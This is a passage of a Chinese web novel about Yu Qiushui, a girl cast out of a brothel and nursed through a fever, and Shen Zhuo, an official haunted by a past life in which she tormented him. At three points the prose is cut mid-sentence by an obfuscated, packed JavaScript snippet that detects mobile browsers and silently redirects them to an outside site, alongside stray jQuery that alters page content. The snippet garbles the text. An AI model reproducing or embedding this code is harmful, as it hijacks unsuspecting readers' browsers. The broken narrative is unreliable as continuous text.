“那,那他住在……”虞秋水有些问不出口,人家帮了她两次,次次都是紧要关头,他还说了不用谢,也不告知她名讳,她这般冒然问住处,定然会引起他反感。 但她没法了,若是青玉楼赶她走,她也只能投靠他。 看这些人的架势,凉州城里他应该是最厉害的。投靠他的话,以后一定不会有人敢欺负她。 这个念头在陆云露出疏远的笑意时,压了回去。 “这是主子的隐私,我等不方便透露。” 实际上去外头打听一番,便能知道沈琢歇在哪家驿馆。 虞秋水抿了唇,没有再问。 陆云提醒她:“主子半月后便会离开凉州城。” 虞秋水立刻抬头,感谢地朝他行了个不大规矩的礼,转身往外跑。 陆云收了笑,哎呦一声。 一只手搭上他肩膀,与他并肩而立,“你这样做,不怕主子罚你?” 陆云挠了挠头,装傻:“我说了什么?为什么都没说啊,主子半月后就走,驿馆知道,崔老爷也知道啊。” 陆雨就知道他会诡辩,望着雪夜中少女单薄的背影,摇摇头,“这样处境艰难的人你我遇得多了,难道个个你都要帮一把?” 陆云反驳,“这次主子态度明显很不一样,能帮一把是一把。再者我等跟着主子,不就是为了救济天下苍生?这都不帮,配得上身上这身衣衫吗?” 陆雨瞥了眼他身上黑布,冷嗤一声。 “走了。” 夜晚的雪越下越大,虞秋水走得湿了鞋袜,冻得瑟瑟发抖。 柳妈妈给她的衣衫只是块布,抵御不了风寒,夜晚冷得她快要成冰雕。 好不容易回到青玉楼,她被拦在外头,不让进。 崔府被抄的事还未传出来,柳妈妈以为她是自个儿跑出来的,坚决不让进。 虞秋水缩着身子靠在门上,仰头望着屋檐下挂着的红灯笼,凄凉一笑。 果然不会留她。 后院也被锁着,她进不去。 身上唯二值钱的东西落在崔府,现下回去,该是已经寻不回来了,别的地方断然不会收留青玉楼的人。最后她缩在后院堆放的湿柴边,裹着衣裳,埋在膝盖里,等夜晚过去。 意识半沉半浮间,好像看到个东西在雪地里爬,她实在是太冷太累了,没办法看清楚。 隐约间风雪好似停了,听不见呼啸声,也没有雪再落下。 后半夜身子忽冷忽热,还做了个梦,梦里她好像在铁做的牢笼里,低头看着一个男人。 那男人屈着一膝跪在自己面前,背脊挺直,没有一丝屈服的意思。 她抬手按在男人肩头,用力往下摁,清晰感觉到男人背脊肌肉用力,抵抗着她的力道,不让背脊弯下去。 她还在尝试,但他怎么都不屈服。 她忽地抬脚踹开他,气冲冲离开,牢笼在身后锁上。 男人缓缓抬头,露出一双满是恨意的眼。 虞秋水猛地惊醒,她是被人踢醒的。 一睁眼看到婆子用脚踢自己,还一个劲地说晦气。 虞秋水脑袋晕沉沉的,挣扎着想说要见柳妈妈,那婆子根本不给她机会,叫了小厮揭开她身上袄子收回去,把她拖到大街上,不让她死在青玉楼里。 她发热了,浑身烫得骇人。 “你可真是厉害啊,这都能被你跑出来。怎的不去别处,偏偏回青玉楼,你是想让青玉楼所有人都因你出事吗!” 虞秋水没办法挣扎,一点力气都没有,被小厮拖出后院。 婆子怕她又爬回来,特意叫小厮扔远点,扔到隔壁巷子里。 青玉楼开了几扇窗,悄悄瞧着虞秋水被拖走。 华娘看了会,倏地关了窗。 衔尾巷就在隔壁,这儿基本上都是驿馆酒楼,来来往往的人还算多,扔在这,运气好,能被发现。 至于发现她的人会不会大发慈悲救她,那就不是他们该关心的。 昨夜的雪落了大半夜,今晨还未清扫,这么一扔,人几乎埋在雪里。 虞秋水烧得更重了,身体是热的,雪是冷的,折磨得她神志不清,居然在天上看到她想找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见着沈琢怀里抱着的小姑娘,哎呦一声,立刻叫他送进来。 “怎的冻成这样了?好端端的,人能冻成这样?” 说着大夫将怀疑的目光投向这两个男人,陆远赶紧澄清,“这位姑娘是我和主子在雪地里发现的,可不是我们害的,青天白日的,可不要冤枉好人。” 大夫套上袖子,叫来小厮打水,拿了冻伤药,凳子一挪,就给虞秋水瞧。 “啧啧,啧啧啧,啧啧啧啧……” 连续数声啧啧,沈琢压低眉头,垂眸凝视榻上的人,陆云见状,问大夫:“她情况如何?” 大夫边敷药边摇头,“冻得不轻哟,还发着高烧呢,人都烧迷糊了,眼瞳都快涣散了,再来晚一步,就要去见阎王喽。” 这一番话落到沈琢心里,旁人听着一顿唏嘘可怜,他面上无动于衷。 她人躺在榻上,脆弱的模样与当初被她折磨得不成人样的自己,看起来尤为相似。 若是当做没有瞧见,她就会死在雪地里,不会再有三年后的事,他也不会再被她羞辱。 昨夜他又梦魇了,被她命令跪在她面前,服侍她。他不愿,她便用尽各种羞辱人的法子,变着花样叫他屈服。 他不该管的。 沈琢转身,留了一句话:“医治的费用去衔尾巷驿馆要。” 陆云震惊,这就走了? 看了眼还没醒的人,他急急跟上去,不敢多问。 “哎,你这人怎么回事,她是你们带来的,不等人醒就走,真是不负责。” 许是他的声音过于吵闹,榻上的人醒了。 视线里一道白色身影闪过,她下意识出声:“沈公子……” 沈琢脚步一顿,陆云一喜,转头看到小姑娘醒了,方要告诉自家主子,谁知回头就见人已经走了。 陆云一愣,连忙跟上去。 大夫嘿呦一声,没办法,只得回来继续给病人看病。 “你说这都是什么事。” 大夫的声音传到耳朵里,虞秋水艰难地眨了眨眼,还是睁不开,昏睡过去。 方才是不是,梦见了那个男人? 8. 第 8 章 “主子,查清楚了,昨晚虞姑娘离开崔府后,回了青玉楼,青玉楼不让她进,她就外头待了一夜,今晨天亮时,被青玉楼的人拖去了衔尾巷。” 这才被他们遇见。 男人听完后并未有所表示,陆云也不好多问,驾着马车去衙门,今日审问完崔正,事情便差不多了,剩下的便是寻刺史的麻烦。 冬日里信件往来不便,沈琢将崔府被抄的消息一封,刺史那边得有好些个日子才能得知消息,那时他们已经抓住刺史,完结这次盐铁贪污案。 牢狱里哀嚎声不断,陆雨见他们来,立刻汇报情况。“与主子猜测得一样,是凉州刺史指使他们做的。” 沈琢颔首,走进廊内,缓缓扫视两侧关押的犯人,目光最终锁定在瘫倒在墙角的崔正身上。 一见到他,崔正惶恐,当即要爬过来,浑身抽痛,只趴在地上,用力仰头看他。 “沈公子——不,沈大人,我是冤枉的,我真不知道那是刺史贪下来的东西,你就算给我一百个胆子,我也不敢干私运盐铁的事啊!” 沈琢垂眸睨视他,瞥见他身子中间血迹,没由来的一阵烦躁,杀意一闪而逝。 “除开私运盐铁,你还经手过不少人口买卖吧。” 崔正浑身一寒,想狡辩,无处可以找到借口。 “那些送到你府上的姬妾,本官只找到两个活着的,其余的呢?” “我……我……”崔正哆哆嗦嗦说不出来,“都是些妓子罢了……” 少女哭泣之声宛若响在耳畔,沈琢猛地闭了眼,再睁开时眼里只有杀意。那晚他下手轻了,该是将崔正皮刮了才对。 “依我朝律法,你私运盐铁已是重罪,贩卖人口,奸淫掳掠,罪无可恕。” 他说这番话时,没有任何情绪起伏,如冷面阎王,崔正恐慌挣扎,妄图给自己争取减轻罪行。 陆雨亮出他的罪证,桩桩件件,没有可减轻的可能。 崔正顿时失去所有力气,下巴砸在地面,连疼都感觉不到了。 他忽地想到什么,撑着地面堪堪爬起来,朝已经转身离开的背影高声喊:“我知道刘刺史藏盐铁的地方!只要你们放我一条生路,我就告诉你们。” 陆雨冷嗤,“不用你告诉,我家主子早已经查到。不日便有新的刺史上任,你背后的大树,很快就要倒。” 崔正傻眼,彻底没了希望。 身体那处疼得他钻心,回想起是如何遇到沈琢的,顿时一惊。那时他就被沈琢盯上了,根本不是什么交友,也不是他想来这花天酒地! 崔正趴在地上,只觉得这地面冷得叫人身体都僵硬了。 审问完,已过午时,陆云送来饭食,边打开边说:“医馆的大夫去驿馆要了药钱,没收诊治费。” 陆雨诧异,“医馆,谁受伤了?” 陆云悄咪咪朝自家主子那看了眼,声音越来越低,越来越心虚,“是今晨在路上遇见的流浪之人,无处可去,主子便带去了医馆。” 见那头在清洗双手的人没什么动静,陆云继续:“大夫留了口信,说叫我们去领人,他不留病人。” 陆雨一听就知是昨晚那位姑娘,没想到这般有缘,今日还能遇着。 “你说她一个小姑娘,天寒地冻的,医馆不收,她又能去哪。”陆云摇了头,见自家主子已经在拭手,端了饭菜走过去,“小姑娘家家的,真可怜。” 男人将帕子掷于盆中,掀起眼帘看他,“你觉得可怜,就将她带到你那养着。” 陆云赶忙放下饭菜,连连后退,诚惶诚恐,“属下不敢。” 陆雨没帮自己兄弟说话,陆云这个人他知道,爱凑热闹,什么事都想凑上去搅和。 不过这次他这么上心,当是与主子有关。 作为下属,不该干涉主子的事,陆云逾矩了。 出了牢狱,陆云问沈琢去何处。 他抬首望着茫茫雪地,吐出几个字:“回驿馆。” 经过青玉楼时,零零散散几声邀客声传进马车,沈琢忽地叫停马车,迎着风雪撑伞进了青玉楼。 婢女来说沈公子来时,柳妈妈喜得鞋险些跑掉,急匆匆理了衣衫,梳了两下发髻,扭着腰下楼。 “哎呦,是哪阵风把沈公子吹来了,还不快给沈公子看茶。” 柳妈妈挡眼一瞧,只来了一个,笑容不减,来一个沈公子可是要比来十个崔老爷管用得多。 陆云在外头候着,没进来。 “沈公子可有喜欢的姑娘?奴家把她叫过来,陪公子说说话。” 沈琢坐在东面,未理婢女倒的茶,眼帘轻垂,握着伞柄,缓缓开口:“我要那晚伺候崔正的那位。” 柳妈妈笑容一僵,眼珠子一转,想到办法,赔笑道:“今儿真不巧,那姑娘病了,烧得可重了,无法伺候公子,公子不若换个姑娘?” 二楼房间里,婆子催了几次都催不动,不由得埋怨道:“这么好的机会,你就要转手送给旁人?” 华娘只坐在梳妆台前,一下一下梳着长发,斜眼瞧着镜中的婆子,哼笑,“今日我身子不适,你叫柳妈妈换个人伺候吧。” 婆子哎呦一声,还想再劝。华娘直接冷脸推她出去,关上门,硬是一句话不听。 婆子脸色难看地回来,本是要柳妈妈想法子,谁知一下去,气氛凝滞得她都不敢靠近。 “公子这不是为难奴家嘛,小水她病重,哪能伺候得了公子,万一将病传给公子,那就是我们的罪过啊!” “我只需她在边上坐着,不用她伺候。” 柳妈妈更不可能答应了,人都不在青玉楼,她从哪凭空变出一个人来陪他? 妇人心慌的小动作被他尽收眼底,沈琢松了手,伞柄敲击桌沿,啪嗒一声,柳妈妈与在场的人皆是心一颤。 “究竟是她病重,还是人根本不在此地?” 柳妈妈吓得扑通跪倒,只得说出实情。 “昨晚,昨晚她已经入了崔府,成了崔老爷的妾,我们哪能从崔府抢人来伺候您呢……” 空气中响起一声冷嗤。 柳妈妈心头一紧,手心竟然冒了汗。 “方才不是说病重,怎的现在又在崔府?”男人声音带着叫人心惊的寒意,哪还敢撒谎,将他们把人丢到衔尾巷的事说出来。 柳妈妈赔笑道:“她确实是病重,青玉楼亏空许久,养着这么一大家子人,着实没有多余的银钱给她治病……” 沈琢转眸看她,在她期待的目光中,一句话拆穿她的谎言:“你将她送入崔府,从崔正那得到的银钱,应是足够青玉楼不接客三月。” 男人的话令她脸色惨白。 “是没有银钱去治,还是根本不想治?” 柳妈妈嚅动着嘴唇,说不出话。 男人站起身,拾起伞柄,眼神一凛,婢女慌忙让开道。 “青玉楼的账多久未送去官府查了?” 柳妈妈不敢说。 外头又下起雪,男人撑开伞,步入雪中。 傍晚时,驿馆来了一辆板车,盖着一层厚褥子,远远看着像是谁死了,要拉去送葬。 大夫靠在柜台上,双手撑着柜面,与驿馆老板大眼瞪小眼。 “怎么我治了人,就把人扔我这?我这又不是驿馆。” 驿馆老板一口气呼出来,吹得胡子往上掀,“我这又不是做慈善的,什么人都往我这塞,我还怎么做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575934|187109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生意。” 两人吵得不可开交,小厮们对视一眼,纷纷移开视线。 陆云将话传回去,等了半晌,自家主子还在倚靠着床榻翻查案卷,着实不知道该怎么办。 他退下去问陆雨,陆雨冲他摇头,叫他别管。 陆云扒着楼梯听下面的动静,本来还在看热闹,听到大夫说要将虞姑娘扔到街上,急急进房间禀告。 陆雨无奈看他,不出所料,被赶了出来。 “主子的性子你不知道吗?尽添乱。” 陆云想着那晚虞姑娘哭得惨,定然是不愿意的,又想起被崔正卖的人至今还未找着下落,不由得头疼。 若是虞姑娘被崔正卖了,又得遭多少罪。 “不然我出面,先——”要出口的话截然而止,这忙他也不好帮,唉! 楼下声音停了,陆云探头一看,没见着拖车,一个激灵,哀叹一声,人啊,有时命就在这了。 侍童泡了热茶端来,见着两个侍卫都在门口站着,想了想说,“我方才见着了,大夫说要将那位姑娘送去官府。” 陆云嘿呦一声,这不巧了,明日主子还要去官府,明日就能见着了。 他朝陆雨挑眉,陆雨懒得搭理他。 侍童进去,见桌上半个时辰前倒的茶水一滴未动,已经冷了,便倒了再添热茶。 男人依旧审阅卷宗。 侍童悄声离开。 卷页翻动的声音戛然而止,沈琢抬眸,窗外白茫茫的雪景映入眼帘。 视线一转,雪地上两人拖行板车,朝着驿馆而来。大夫一抬头,就看到窗台那有个人,看不清,不知这人就是今晨送人来医馆的那位。 他再次和小厮一同拉板车,驿馆老板见他回来,哎呦一声,跑过去:“怎么又回来了?” 大夫急急道:“她癔着了,快准备热水毛巾!” 褥子一掀开,昏迷的小姑娘来回摆动脑袋,身子一颤一颤,双手握紧。 大夫着急得都快要骂人。 陆云听到这动静,正想禀告,想到主子对虞姑娘的态度,想了想,没有说,却叫陆雨守着,他自己下去问。 人刚下楼,陆雨就听声音从房间里头传出来:“陆雨,你该好好管教管教陆云。” 陆雨立刻跪下,“属下一定好好教他,叫他不该管的别管。” 里头没再说话,却也没说让陆云现在回来。陆雨松了口气,朝楼下看,陆云就在边上看着他们给虞姑娘擦拭手心,忙帮不上还不愿走。 他这个弟弟,真不省心。 “哎呦喂,真受罪。”大夫见着陆云,问他:“她就没有家人吗?” 陆云摇头,被青玉楼赶出来的,哪有什么家人。他与大夫一同望着闭眼不醒的人,低低叹息。 虞秋水觉得自己在被火烧,周围全都是火,房梁被烧着,重重砸下。 恍惚间听到有人唤自己,但唤的不是她的名字,转身寻找呼唤的人在何处,可周围的烈焰阻拦视线,什么都见不着。 潜意识告诉自己,声音的主人对自己很重要,必须要找到。 但她怎么都出不了火海。 房梁根根断裂,阻拦出口,她被火淹没了—— “咳——” 虞秋水猛地惊醒,胸肺剧烈疼痛,脑袋被针刺一般地疼,视线模糊,只看到朦胧的白,夹杂着一丝暖色。 她呆愣了一会,嗅到熟悉味道,下意识往后缩。 “柳,柳妈妈?”嗓子干哑得声音几乎辨别不出来。 小心翼翼地试探,本能地往后缩,她现在这副样子,像是遇见了令她害怕的人。 沈琢淡漠看她,声音没什么温度:“是我。” 9. 第 9 章 她烧得意识不清眼睛都睁不开,哪能分辨得出来声音的主人是谁,听到是个男声,防备一点没降,更是往里头缩。 “谁……” 干裂的唇张开,虚弱呢喃,面色依旧苍白。 沈琢只瞧了一眼便收回视线,转身离开。方才他不过是去床榻边拿自己的衣裳,恰巧碰见她醒来。 虞秋水迷迷糊糊听到脚步声,脑袋沉沉。脑子里有个声音告诉自己还有事没有做,可意识越发混沌,越来越想睡。 幼时生过病,大抵知道自己现在烧得很重。 她动了动,用力挪动身子,剧烈的晕眩感袭来,她还是没有撑过去,再度陷入昏迷。 不过片刻,有人进来,仔细瞧了她的情况,一阵折腾,烧总算退了些。 “切记不可再着凉,这回若是未完全康复又受了寒,恐落下病根,更难养好身子!” 男人隔着屏风望向里头,眸光微闪。前世刚开始教养她时,见过几次她饮药汤,当时她并未表现出不适,只当是她喝的补药。 现在看来,许是不是。 大夫从药箱里拿出冻疮膏,叮嘱道:“虞姑娘的脸与手脚上的冻疮用这个涂抹,小姑娘这才多大,脸上落了冻疮疤痕可不好看!” 再仔细叮嘱一番后,他挎着药箱叫上小厮要走。 忽地被叫住。 “烦请大夫在驿馆留宿一晚,她若是身有不适,可及时医治。” 大夫犹豫,沈琢道:“住宿费用由在下承担。” 他点头答应,“那行,今晚我留下,有什么情况唤我便是。” “您这边请。”陆雨带着大夫和小厮去客房,陆云张望一眼,方要感叹虞姑娘这日子过得真艰难,一对上沈琢凉凉目光,立刻闭嘴。 “今日你管的事颇多。” 陆雨紧张得屏气,不敢动。 好在没有受到责罚,待沈琢一走,他松了口气,正要回自己房间,就见婢女端着药来。 “给虞姑娘的?” 婢女点头,陆云没多问,也不敢进去瞧,那是主子的卧房,不可随意进出。 方走进自己房间,一个激灵回神,不对啊,主子方才拿着衣裳去了另一间房,这是要换间房睡? 自打主子遇到这姑娘,好似有些不对劲。 至于哪里不对劲,陆云说不上来,索性不再想,先休息,后半夜还要与陆雨换岗守夜。 婢女艰难喂完药,端着空碗出去,回廊没什么人,寂静无声。 相邻的客房一刻钟后熄灯。 男人平躺,闭目休息。 陷入沉睡的人眉头紧蹙,呼吸逐渐急促。 烈火将整个宫殿吞没,人影攒动,没有人敢进入火海救人。火势太大,进去就是送死。 呼吸声似乎响在耳畔,他很焦急,托着沉重的身子赶到时,阵阵心惊叫喊此起彼伏,里面还有人没有出来,陛下和怀宁公主殿下还在里面。 咔嚓一声,房梁轰然倒塌,火星四溅,吓得宫人连连后退。 漫天火光映他入眼眸,心神震颤。 “殿下……” 倏地他抢来宫人提来的水,湿了衣衫,冲进去。 就在他进去的瞬间,支撑的木柱被烧断,倾斜砸下。 烈火将他的身影吞没,烧灼他的肌肤,火海里人影闪过,他脚步方要冲过去,脚步倏然一顿。 瞳孔骤缩。 “唔!” 男人从噩梦中惊醒,双目失神,胸膛剧烈起伏,久久才缓神。 视线逐渐有了焦点,朦胧光线射入眼中,他偏头朝窗户望去,天还未亮,外头白雪折射出来的光。 这一醒,无法再安睡,沈琢起身,习惯性走去桌旁,却未曾看见燃着的熏香。 思绪回笼,想起自己将房间让给了她,这间客房里未曾燃香。 难怪心神不宁,生出梦魇。 他未出房间,行至窗台前,将窗推开,迎着灌进来的寒风,垂眸看茫茫雪地。 盐铁贪污案已经查清,只需将凉州刺史收押,便可结案,届时他便要回京复命。 起初此案不归他管,却听案件根源地在凉州城,鬼使神差地主动请缨,亲自调查。 沈琢蹙了眉,朝相邻的房间稍稍偏头,冷风灌进来,叫他清醒。 时隔两世,他仍旧清晰记得见到这位被寻回的公主殿下的第一面。 紧张,不安,无措。 面对大臣与后宫嫔妃、异母手足的慌乱无处遁形。而后不过两年,她便变了一副模样,顽劣跋扈、心狠手辣,这才是她的本性。 沈琢回头,闭了眼,口中呼出浊气。 作为臣子,他有责任将陛下流落民间的子女带回京。如今来凉州城的人是他,只有他知道她的真实身份,不会有人冒领她的身份而囚禁她。 但他无法判断现在是否是将她带回去的最好时机,一旦她回宫,皇宫内所有发生的事他无法干涉,她再步上前世那条路…… 眼前茫茫雪地骤然被火海取代,视线里似乎出现她的身影,满手是血,笑得狠厉决绝。 额间青筋一跳,身子颤动,抬手摁住窗柩支撑自己,睁开眼,看到完好的双手。 这双手还未曾被她踩踏过,并未布上鞭痕。 耳畔恍惚响起少女哀求,冻得青紫的脸浮现,满手红肿的冻疮。 这样的她,是他第一次见到。脆弱得他可以肆意将她前世对自己做的一切报复回去,甚至不怕她反抗。 她没有力量可以反抗。 幻觉消失,沈琢缓缓挺直了身,漆黑的眸似乎能将世间所有颜色吸尽。 他做出了决定。 天亮时,陆云敲了敲房门,低声道:“主子,虞姑娘醒了,已经退烧了。” 片刻后门被打开,男人走出去,越过他,淡声道:“退烧了就将她送回去。” 陆云哑然,愣愣嗷了一声,大夫正巧看完虞秋水的情况出来,见着陆云,朝他道:“今早这个诊治费我就不收你们的了,人醒烧也退,没我什么事,我得回医馆了。” 说着大夫抬手作揖,陆云跟着回了一礼。 大夫走后,婢女端来汤药与粥进去,陆云听了会,摇了摇头。主子帮到这份上已经算是仁至义尽,剩下的看她自己造化了。 客房内已经醒来的少女睁着眼眶还是红着的眼,缓缓移动视线,打量四周。这里和下人房完全不一样,很干净很暖和,好想一辈子待在这里,哪都不去。 虞秋水眨了眨眼,把身子往被褥里缩,想到大夫说的话,微微笑了笑。这个世上还是有好人的。 柳妈妈把她扔到雪里,好心人救了她,她得去谢谢那位好心人。 环顾四周的视线停留在桌案上整齐堆积的纸册上,桌面整洁,这间房的主人应该是个很有条理的人,屋内陈设简单,东西也很少。 视线一转,瞧见了靠在门旁的黑色油纸伞上,未发现有什么特别。正要收回目光,倏地一惊,再度看去。 这把伞,她见过。 几乎是她在脑海里浮现那人的容貌时,门被敲响,是陆云。 “虞姑娘,主子命我送你回青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575935|187109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉楼,你现在能走动吗?” 虞秋水愣神望着房门,慢吞吞说了可以走。起身的时候人还有点晕,一步一步快要挪到房门口时,忽然生出一个念头。 低头看自己,寻了半天,才找到一件算得上贵重的物什,看了半晌,心扑通一跳,走回去把东西塞进被褥里,还将被褥压了压,才转身去门口。 一开门就移开视线,不敢看陆云。 “虞姑娘,我送你回去。” 虞秋水点点头,迈出房间,出去后才发现这里是驿馆。直到被带到驿馆门口都未曾见到那抹白色身影,脚步停下,回首望去。 楼下厅堂三三两两坐着几人,正在用早饭,老板与小厮说说笑笑,一派温馨之景。 这是她在青玉楼看不到的宁静祥和。 鼻子塞着,呼吸不了,她张开了唇,呼了口气,知道自己回青玉楼会面对什么,将最后的希望寄托在离开前的这短暂时间里。 希望能见到他。 “虞姑娘,需要我扶你上……”陆云一回头,没见着人,再一看,人就在驿馆门口那往里看,显然是在等人。 他无奈一声叹,虞姑娘要是看上他家主子,那可真是没一点盼头。 走过去唤了几声,才把人唤回神。 “走吧?” 虞秋水失望,看了最后一眼,转身离开这个只短短庇护她不到一天的地方。 陆云扶她上了马车,驱使马车朝青玉楼而去。 帘子掀开,露出少女稍微恢复过来一些的脸庞,羽睫抬起,望向驿馆,却什么都未看见,收了手,帘子垂下。 驿馆二楼的客房里,男人透过半开的窗凝望马车渐行渐远。 他改变了初来凉州城的决定,不会现在带她回京,他会在离开凉州城前安排好一切,待她二十,再告诉陛下她的存在,届时接她回京。 皇宫吃人,现在的她回宫,只会被利用。 沈琢闭上眼,眼前又浮现前世她死时的画面,火海中,她抱着必死的心,刺下手中发簪。 马车行驶到一半,响起少女小心翼翼的声音:“我的东西落在驿馆了,你能不能掉头,我回去取。” 陆云勒停,思考一瞬,方要答应,少女解释的声音又起,能听出几分焦急:“是一件很贵重的东西,弄丢了,柳妈妈会罚我。” “好,虞姑娘你别急,定然能找着。” 马车掉头往回行驶,虞秋水心跳得越来越厉害,才退烧,身子不适,心跳得这般快,逐渐涌出恶心的感觉。 她忍着硬是一声不吭,等到回到驿馆,恶心感更强烈了。 并非是身体传来的,而是精神上。因为做了坏事怕被发现,怕自己小心思被那人察觉,他会像柳妈妈那样骂自己。 可是没办法了,若是想将自己处于安全之地,只能制造她与他关系匪浅的假象。 青玉楼的花魁惯会这般做,现在她与花魁,好像没什么区别了。 虞秋水抱着自己的身子,跟着陆云低着头走进驿馆,刚上了二楼,就听陆云喊了声主子。 她猛地止住了脚,心神狠狠一颤。 “怎的又回来了?”声音是他一贯的清冷,许是做贼心虚,虞秋水觉得他的语气带了不耐烦。 “虞姑娘说她落了东西,回来取。” 男人审视的目光转移到陆云身后的少女上,凝视这个一直低着头的人,吐出两个字:“是吗?” 虞秋水心骤停,那一瞬间,时间都好似凝滞,耳畔只有他说的这两个字。 她僵硬点头:“是,是的。” 10. 第 10 章 男人审视的目光似乎能洞穿她,虞秋水说完,低下头,不敢与他直视。 本以为他会拒绝,已经做好准备在此处耗费些时间,却听他说:“进去找吧。” 说完便要离开。 见他要走,虞秋水脱口而出:“那是公子你的房间,我进去寻找,若是不小心翻到不该看的东西,应是不太好……” 本来刻意丢下那东西就是为了找机会与他单独相处,他若是走了,她的计划就没有用了。 能感觉到男人落在自己身上的视线停留了很久,一开始的心虚淡去,只想他答应自己。 沈琢知她心中所想,整理被褥时发现那枚不应该存在的东西时,稍稍一想,便知用途是何。 这点小心思他不屑于拆穿,由着她去。 “你随我来。” 他转身进房间时,正巧瞥见她仰起的脸,双眼有神,欣喜倾泻,心里的心思一眼便能看穿。 虞秋水没想到他这般好说话,先前她求他的几次,他似乎都没有拒绝过。 她跟在他身后,望着他挺拔的背影,眼前一阵恍惚。 也不知是不是她烧得脑子混沌,视线忽然模糊,竟然看到眼前的男人裸着上半身,背上新旧鞭痕交替,步履艰难地往前走。 不,不是往前走,从她的视角看,是离开,从她这离开。 虞秋水愣住,直直望着“他”。 微微佝偻的背部肩胛骨凸起,顶得皮肤表面斑驳鞭痕起起伏伏。 散乱的发丝无法完全遮住他身上的鞭痕,她看着看着,忽然起了将人扯回来,再狠狠凌虐的念头。 她在青玉楼里见过挨罚的下人,打得比他身上还要重,几鞭子打下去,根本没力气走。 虞秋水看失了神,直到视线里的“他”转身,面朝自己,开口说了句:“还站着做什么?” 幻觉如潮水般退去,她浑身一个激灵,发觉眼前的人穿戴整齐,墨发冠起,找不到一丁点幻觉中的虚弱狼狈。 “来、来了。”她立刻应声,急忙走进去。 进了房间,方朝床榻走去,被褥已经叠得整齐,没有一丝褶皱,更看不见一件不应该放在床上的东西。 虞秋水脚步钉在地上似的,挪不动一步。 她把那东西放在被褥下面了,可现在床已经被收拾好,那她的东西…… 视线一转,就见男人身侧的桌面上放置物,正是她“不小心”弄丢的一枚吊坠,那是她从崔府里顺出来的,本想典当,当铺不收,这东西不值钱。 吊坠就放在桌角,链条盘成一团堆积在吊坠上,显然是发现这不是这里有的东西,单独放置。 不用再找,东西就在这,她也没有借口再留下,但本来的目的还未达成,就这么走了,被送回青玉楼,日后定然更没有机会接近他! “我其实还有一事有求于你,来寻吊坠只是借口。”虞秋水直接说出了自己本来的目的,她局促站在原地,眼巴巴望了眼男人,触及他无所动的眸光时,不知怎的,心中的委屈瞬间报答。 可能是她这次病得比之前重,身子虚弱,没有力气再假装自己坚强。又可能是这几日遭遇的一切不断击打她,挺得再直的脊梁也会被压弯。 真的很想大哭一场,将心中的郁气与埋怨都发泄出来。 可面前的人与她无亲无故,她有什么理由在他面前哭呢? 虞秋水使劲眨了眨眼,将眼泪憋回去,眼眶却在她情绪崩溃的瞬间通红,竭力睁大眼望着他,不叫自己哭出来。 “只要你帮了我这一次,我不会再缠着你。”她有一双会说话的眼睛,即使没有流泪,通红眼眶只望过来,便叫人心生怜惜。 但她面前的人,早就知她本性。 沈琢心中一哂,心道果然如此。 “你可以带我离开凉州城吗?”她说完,急忙补充一句:“只要你带我离开凉州城便好,离开凉州——” “你想我带你离开凉州城?” 虞秋水心中一喜,方要出口,却听他声音倏地沉下:“你可知求我的代价是什么?” 嘴里的话咽了回去,她摇头,拘谨地缩着身子,打量的目光一闪而过,想起崔老爷的下场,身子一哆嗦。 不,她只是想求他庇护,与崔老爷不一样,她不会被抓走。 “我——” 沈琢与她同时出口:“不可。” 男人拒绝了她。 虞秋水愣神望着他,亮起来的眼眸瞬间暗下。 “你该回去了。” 这一句话落下,一切希望都被掩埋。她失神地转身,一步步走出房间。离开这里,回到青玉楼,等待她的只可能是柳妈妈的威胁和谩骂。 她能往哪去? “你的东西落下了。” 虞秋水抹了脸,转身低着头走回去,一把拿走桌角上不值钱的吊坠,快步出去。 陆云只看到她像阵风一样走了,刚要追上去,就被叫住。 “送我去府衙。” 陆云指了指下楼的虞秋水,小声说:“属下要送虞姑娘回青玉楼。” 男人睨他一眼:“还有多余的马车?” 陆云愣愣摇头,“那,那属下先送了虞姑娘回来……” “我的行程不可耽搁。”沈琢丢下这句,直接越过他下楼。 陆云在原地愣了会,一个激灵明白过来。对哦,顺路!主子这意思不就是和虞姑娘一起走嘛! 想明白后陆云赶紧拿了黑伞,跟上沈琢,将伞递给他,“属下去和虞姑娘说一声。” 没听到主子说话,就当默认了,他急忙去追走了好几米远的少女。 虞秋水离马车不过几步时,忽地听到身后有人喊自己,不是她想听见的那人的声音。停下脚,转头看去,是沈公子身边那个侍卫。 “我家主子要去府衙,麻烦虞姑娘和我家主子挤一挤,坐一辆马车。” 虞秋水没反应过来,等到陆云让开道往马儿那走去,男人的身影出现在她视线里,才明白他话的意思。 所以她是要和这个人共同坐一辆马车,那是不是意味着她还有机会,尝试说服他? 男人一身洁净白衣,浑身气质竟然比那白雪还要冷冽,他一步步朝她走来,眼里倒映出她的身影,给她一种他眼里只有她的错觉。 不怪虞秋水有这种错觉,他确实眼里只看着她。 现在的她与前世他所遇见的稚嫩许多,心中所想一眼便能看穿,她依旧没有断了想让他带她离开凉州城的心思,他只当没有看见,等她再次亲口说出来。 求他 